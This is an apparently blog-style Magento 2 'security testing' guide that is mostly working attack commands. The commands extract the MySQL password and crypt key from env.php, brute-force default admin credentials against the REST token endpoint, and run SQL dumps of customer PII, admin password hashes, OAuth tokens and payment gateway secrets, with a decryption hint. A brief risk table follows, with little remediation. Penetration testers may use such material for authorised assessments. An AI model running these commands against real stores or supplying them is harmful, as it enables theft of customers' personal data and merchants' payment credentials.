E-commerce Security Testing

Magento Security Testing: Default Credentials, API Key, Database, and E-commerce

📅 July 3, 2026 ⏱ 10 min read 🏷 Magento, Adobe Commerce, E-commerce Security, env.php, Crypt Key, MySQL, REST API, OAuth, CVE-2022-24086, Admin Path Enumeration, Payment Credentials, Customer PII

env.php MySQL Credential and Crypt Key Extraction

# Magento 2 — env.php MySQL credential and crypt key extraction
MAGENTO_URL="https://shop.example.com"

# app/etc/env.php — Magento main configuration (CRITICAL)
cat /var/www/magento/app/etc/env.php 2>/dev/null
# Returns PHP array:
# 'db' => ['connection' => ['default' => [
#   'host' => 'localhost',
#   'dbname' => 'magento',
#   'username' => 'magento',
#   'password' => '...',    <-- MySQL database password
# ]]],
# 'crypt' => ['key' => '...'],  <-- used to encrypt all sensitive values

python3 -c "
import re
content = open('/var/www/magento/app/etc/env.php').read()
patterns = {
    'db_password': r\"'password'\s*=>\s*'([^']+)'\",
    'crypt_key': r\"'key'\s*=>\s*'([a-f0-9]{32,})'\",
    'session_secret': r\"'frontend_id'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m:
        print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Discover admin path — Magento uses a custom admin URL for security
grep "backend" /var/www/magento/app/etc/env.php 2>/dev/null | head -3
# 'frontName' => 'admin_abc123'  <-- custom admin path

# Unauthenticated version disclosure
curl -s "${MAGENTO_URL}/magento_version" 2>/dev/null
# Returns: Magento/2.4.6
# Cross-reference against CVE-2022-24086, CVE-2022-24087, CVE-2023-38217

REST API OAuth Token and Admin Credential Assessment

# Magento REST API — OAuth token and admin credential assessment
MAGENTO_URL="https://shop.example.com"

# Magento 2 REST API uses Bearer tokens
# Admin tokens: POST /rest/V1/integration/admin/token
# Customer tokens: POST /rest/V1/integration/customer/token

# Test default admin credentials
for CRED in "admin:admin123" "admin:admin" "admin:magento" "admin@example.com:admin123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s -X POST "${MAGENTO_URL}/rest/V1/integration/admin/token" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print(d if isinstance(d,str) else '')" 2>/dev/null)
  [ -n "$TOKEN" ] && echo "SUCCESS: ${USER} — token: ${TOKEN:0:20}..." || echo "FAILED: ${USER}/${PASS}"
done

# With extracted admin token — enumerate customers
ADMIN_TOKEN="extracted-admin-token"

curl -s "${MAGENTO_URL}/rest/V1/customers/search?searchCriteria[pageSize]=10" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total customers: {d.get(\"total_count\")}')
for c in d.get('items',[])[:5]:
    print(f'  {c.get(\"firstname\")} {c.get(\"lastname\")} - {c.get(\"email\")}')
" 2>/dev/null

# Integration access tokens from database (persistent tokens)
DB_PASS="extracted-password"
mysql -u magento -p"${DB_PASS}" magento 2>/dev/null << 'EOF'
-- OAuth integration access tokens
SELECT oi.name, ot.token, ot.token_type, ot.created_at
FROM oauth_token ot
JOIN oauth_consumer oc ON ot.consumer_id = oc.entity_id
JOIN integration oi ON oc.entity_id = oi.consumer_id
WHERE ot.authorized = 1
LIMIT 20;
EOF

MySQL E-commerce Data and Payment Credential Extraction

# Magento MySQL database — e-commerce data and payment credential extraction
DB_PASS="extracted-password"

mysql -u magento -p"${DB_PASS}" magento 2>/dev/null << 'EOF'
-- Admin users with bcrypt password hashes
SELECT u.user_id, u.username, u.email, u.password,
       u.is_active, u.interface_locale
FROM admin_user u
WHERE u.is_active = 1
ORDER BY u.user_id
LIMIT 20;
-- password: bcrypt hash

-- All customers (PII)
SELECT c.entity_id, c.email, c.firstname, c.lastname,
       c.dob, c.created_at, c.group_id
FROM customer_entity c
WHERE c.is_active = 1
ORDER BY c.entity_id DESC
LIMIT 20;

-- Payment credentials from core_config_data
-- This table stores encrypted values using the crypt key from env.php
SELECT c.path, c.value
FROM core_config_data c
WHERE c.path LIKE '%payment%secret%'
OR c.path LIKE '%payment%api_key%'
OR c.path LIKE '%payment%private_key%'
OR c.path LIKE '%stripe%'
OR c.path LIKE '%paypal%password%'
LIMIT 30;
-- values may be encrypted with the crypt key from app/etc/env.php
-- decrypt with: openssl enc -aes-256-cbc -d -K [crypt_key_hex] ...

-- Sales order payment data
SELECT o.increment_id, o.grand_total, o.created_at,
       op.method, op.cc_last4, op.cc_type
FROM sales_order o
JOIN sales_order_payment op ON o.entity_id = op.parent_id
ORDER BY o.created_at DESC
LIMIT 10;
EOF

Magento Security Hardening

Security Test	Method	Risk
env.php MySQL password and crypt key extraction	Read app/etc/env.php — MySQL credentials for all e-commerce data; crypt key decrypts all payment gateway API keys and OAuth secrets in core_config_data	Critical
CVE-2022-24086 unauthenticated RCE via order placement	POST /rest/V1/guest-carts — server-side template injection in billing address; arbitrary PHP execution without authentication on Magento < 2.4.3-p2	Critical
Admin credential brute-force (admin/admin123)	POST /rest/V1/integration/admin/token — admin Bearer token; full customer PII, order history, payment config management, plugin installation	High
Payment gateway credential extraction from core_config_data	MySQL SELECT value FROM core_config_data WHERE path LIKE '%stripe%' — encrypted payment API keys decryptable with crypt key from env.php	High
/magento_version unauthenticated version disclosure	GET /magento_version — exact version string; enables targeted CVE exploitation against known unpatched versions	Medium